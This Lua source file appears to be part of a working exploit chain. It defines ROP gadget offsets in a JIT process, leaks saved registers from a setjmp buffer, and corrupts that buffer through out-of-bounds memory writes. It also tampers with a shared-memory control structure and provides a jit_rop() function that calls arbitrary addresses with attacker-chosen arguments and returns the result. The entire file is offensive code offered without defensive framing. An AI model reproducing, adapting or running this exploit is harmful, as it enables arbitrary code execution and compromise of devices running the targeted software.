Files
2026-03-19 11:32:37 +09:00

299 lines
8.8 KiB
Lua

local chain_idx = 0
local function push_chain(value)
local chain_addr = FAKE_RSP + 0x1A0 + chain_idx * 8
write64(chain_addr, value)
chain_idx = chain_idx + 1
return chain_addr
end
function jit_init_rop()
JIT_ROP = {
-- 0x72: ret ;
RET = JIT_BASE + 0x72,
-- 0x501f: mov rax, rdi ; ret ;
MOV_RAX_RDI_RET = JIT_BASE + 0x501f,
-- 0xeea41: pop rdi ; ret ;
POP_RDI_RET = JIT_BASE + 0xeea41,
-- 0xeea8a: pop rsi ; ret ;
POP_RSI_RET = JIT_BASE + 0xeea8a,
-- 0xfced7: mov rdx, rdi ; ret ;
MOV_RDX_RDI_RET = JIT_BASE + 0xfced7,
-- 0xfe9fc: pop rcx ; ret ;
POP_RCX_RET = JIT_BASE + 0xfe9fc,
-- 0x7a69c: pop rbx ; ret ;
POP_RBX_RET = JIT_BASE + 0x7a69c,
-- 0x347d0: mov qword [rbx+0x08], rax ; pop rbx ; pop r14 ; pop rbp ; ret ;
MOV_DEREF_RBX_RAX_RET = JIT_BASE + 0x347d0,
-- 0x144210: pop rsp ; ret ;
POP_RSP_RET = JIT_BASE + 0x144210,
-- 0x194: pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret ;
POP_R12_R13_R14_R15_RBP_RET = JIT_BASE + 0x194,
-- 0x140da7: mov rax, qword [rax+0x00004150] ; ret
MOV_RAX_DEREF_RAX_RET = JIT_BASE + 0x140da7,
-- 0x84849: mov qword [rax], r8 ; add dh, dh ; ret ;
MOV_DEREF_RAX_R8_RET = JIT_BASE + 0x84849,
-- 0x2db63: mov r8, rbx ; movsxd rcx, qword [rax+r13*4] ; add rcx, rax ; jmp rcx ;
MOV_R8_RBX_RET = JIT_BASE + 0x2db63,
-- 0x18b23: mov r9, rbx ; movsxd rcx, qword [rax+r13*4] ; add rcx, rax ; jmp rcx ;
MOV_R9_RBX_RET = JIT_BASE + 0x18b23,
}
-- Leak from setjmp buffer
LEAK_RBX = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x08) -- DOOR3_SHM
LEAK_RSP = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x10)
LEAK_RBP = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x18)
LEAK_R12 = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x20) -- DOOR3_SHM + 8 ?
LEAK_R13 = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x28)
LEAK_R14 = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x30) -- DOOR3_SHM
LEAK_R15 = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x38) -- stack canary
FAKE_RSP = OOB_SCRATCH_BASE + 0x60000
write64(OOB_SCRATCH_BASE + 0x180, OOB_SCRATCH_BASE + 0x3000)
-- overwrite setjmp buffer in realtime
write32(OOB_SCRATCH_BASE + 0x108, 0xFFFFFFFF)
write32(OOB_SCRATCH_BASE + 0x10C, 0)
write64(OOB_SCRATCH_BASE + 0x1000, OOB_SCRATCH_BASE + 0x1100)
write64(OOB_SCRATCH_BASE + 0x1100, OOB_SCRATCH_BASE + 0x1300)
write64(OOB_SCRATCH_BASE + 0x1110, OOB_SCRATCH_BASE + 0x1200)
write64(OOB_SCRATCH_BASE + 0x1200, 0)
write64(OOB_SCRATCH_BASE + 0x1208, 0)
write32(OOB_SCRATCH_BASE + 0x1118, 0xFFFF)
write64(OOB_SCRATCH_BASE + 0x1300, FAKE_RSP)
write64(OOB_SCRATCH_BASE + 0x100, (OOB_SCRATCH_BASE + 0x1000) - (DOOR3_SHM & 0xFFFFFFFF) * 8)
write64(OOB_SCRATCH_BASE + 0x1318, 0)
write32(OOB_SCRATCH_BASE + 0x48, 0x900)
write32(DOOR3_SHM + 0x08, 0x1) -- sub_149110 thread unlock
write32(DOOR3_SHM + 0x0C, 0x812) -- sub_154A60 case 2066
write32(DOOR3_SHM + 0x10, 0x10)
write32(DOOR3_SHM + 0x14, 0)
write64(DOOR3_SHM + 0x38, OOB_SCRATCH_BASE + 0x118)
-- dummy fill
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
JIT_ROP_CHAIN_START = push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
-- Make ROP chain to infinite loop
JIT_ROP_CHAIN_END = push_chain(JIT_ROP.POP_RSP_RET)
push_chain(JIT_ROP_CHAIN_END)
syscall.write(ORG_MAIN_SOCK, "3", 1)
microsleep(100000)
end
function jit_rop(address, rax, arg1, arg2, arg3, arg4, arg5, arg6)
local string_idx= 0
local function process_arg(arg)
if arg == nil then
return 0
elseif type(arg) == "string" then
if #arg > 0x2500 then
error("string argument length cannot exceed 0x2500")
end
local string_buf_addr = JIT_STRING_SCRATCH + string_idx * 0x2500
write_string(string_buf_addr, arg)
string_idx = string_idx + 1
return string_buf_addr
else
return arg
end
end
local rax = rax or 0
local arg1 = process_arg(arg1)
local arg2 = process_arg(arg2)
local arg3 = process_arg(arg3)
local arg4 = process_arg(arg4)
local arg5 = process_arg(arg5)
local arg6 = process_arg(arg6)
chain_idx = 0
-- dummy fill
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
push_chain(JIT_ROP.RET)
-- r8
-- mov r8, rbx ; movsxd rcx, qword [rax+r13*4] ; add rcx, rax ; jmp rcx ;
local TEMP_R13 = ((FAKE_RSP - 0x20000 - JIT_ROP.RET) // 4) + 1
write64(TEMP_R13 * 4 + JIT_ROP.RET, 0)
push_chain(JIT_ROP.POP_R12_R13_R14_R15_RBP_RET)
push_chain(LEAK_R12)
push_chain(TEMP_R13) -- r13
push_chain(LEAK_R14)
push_chain(LEAK_R15)
push_chain(LEAK_RBP)
push_chain(JIT_ROP.POP_RDI_RET)
push_chain(JIT_ROP.RET) -- rax
push_chain(JIT_ROP.MOV_RAX_RDI_RET)
push_chain(JIT_ROP.POP_RBX_RET)
push_chain(arg5)
push_chain(JIT_ROP.MOV_R8_RBX_RET)
-- r9
-- mov r9, rbx ; movsxd rcx, qword [rax+r13*4] ; add rcx, rax ; jmp rcx ;
push_chain(JIT_ROP.POP_R12_R13_R14_R15_RBP_RET)
push_chain(LEAK_R12)
push_chain(TEMP_R13) -- r13
push_chain(LEAK_R14)
push_chain(LEAK_R15)
push_chain(LEAK_RBP)
push_chain(JIT_ROP.POP_RDI_RET)
push_chain(JIT_ROP.RET) -- rax
push_chain(JIT_ROP.MOV_RAX_RDI_RET)
push_chain(JIT_ROP.POP_RBX_RET)
push_chain(arg6)
push_chain(JIT_ROP.MOV_R9_RBX_RET)
-- rax
push_chain(JIT_ROP.POP_RDI_RET)
push_chain(rax)
push_chain(JIT_ROP.MOV_RAX_RDI_RET)
-- rdx
push_chain(JIT_ROP.POP_RDI_RET)
push_chain(arg3)
push_chain(JIT_ROP.MOV_RDX_RDI_RET)
-- rdi
push_chain(JIT_ROP.POP_RDI_RET)
push_chain(arg1)
-- rsi
push_chain(JIT_ROP.POP_RSI_RET)
push_chain(arg2)
-- rcx
push_chain(JIT_ROP.POP_RCX_RET)
push_chain(arg4)
push_chain(address)
-- Get return value
push_chain(JIT_ROP.POP_RBX_RET)
push_chain(OOB_SCRATCH_BASE + 0x2000 - 8)
push_chain(JIT_ROP.MOV_DEREF_RBX_RAX_RET)
push_chain(LEAK_RBX)
push_chain(LEAK_R14)
push_chain(LEAK_RBP)
push_chain(JIT_ROP.POP_R12_R13_R14_R15_RBP_RET)
push_chain(LEAK_R12)
push_chain(LEAK_R13)
push_chain(LEAK_R14)
push_chain(LEAK_R15)
push_chain(LEAK_RBP)
-- Make ROP chain loop again at the end
push_chain(JIT_ROP.POP_RDI_RET)
push_chain(JIT_ROP_CHAIN_END)
push_chain(JIT_ROP.MOV_RAX_RDI_RET)
push_chain(JIT_ROP.POP_RBX_RET)
push_chain(JIT_ROP_CHAIN_END)
push_chain(JIT_ROP.MOV_DEREF_RBX_RAX_RET)
push_chain(LEAK_RBX)
push_chain(LEAK_R14)
push_chain(LEAK_RBP)
-- Trigger ROP chain by breaking ROP loop
push_chain(JIT_ROP.POP_RSP_RET)
push_chain(JIT_ROP_CHAIN_START)
-- Wait until JIT ROP chain finishes
while read64(JIT_ROP_CHAIN_END + 0x8) ~= JIT_ROP_CHAIN_END do
-- Add micro bump to make GC happy
microsleep(1000)
end
return read64(OOB_SCRATCH_BASE + 0x2000)
end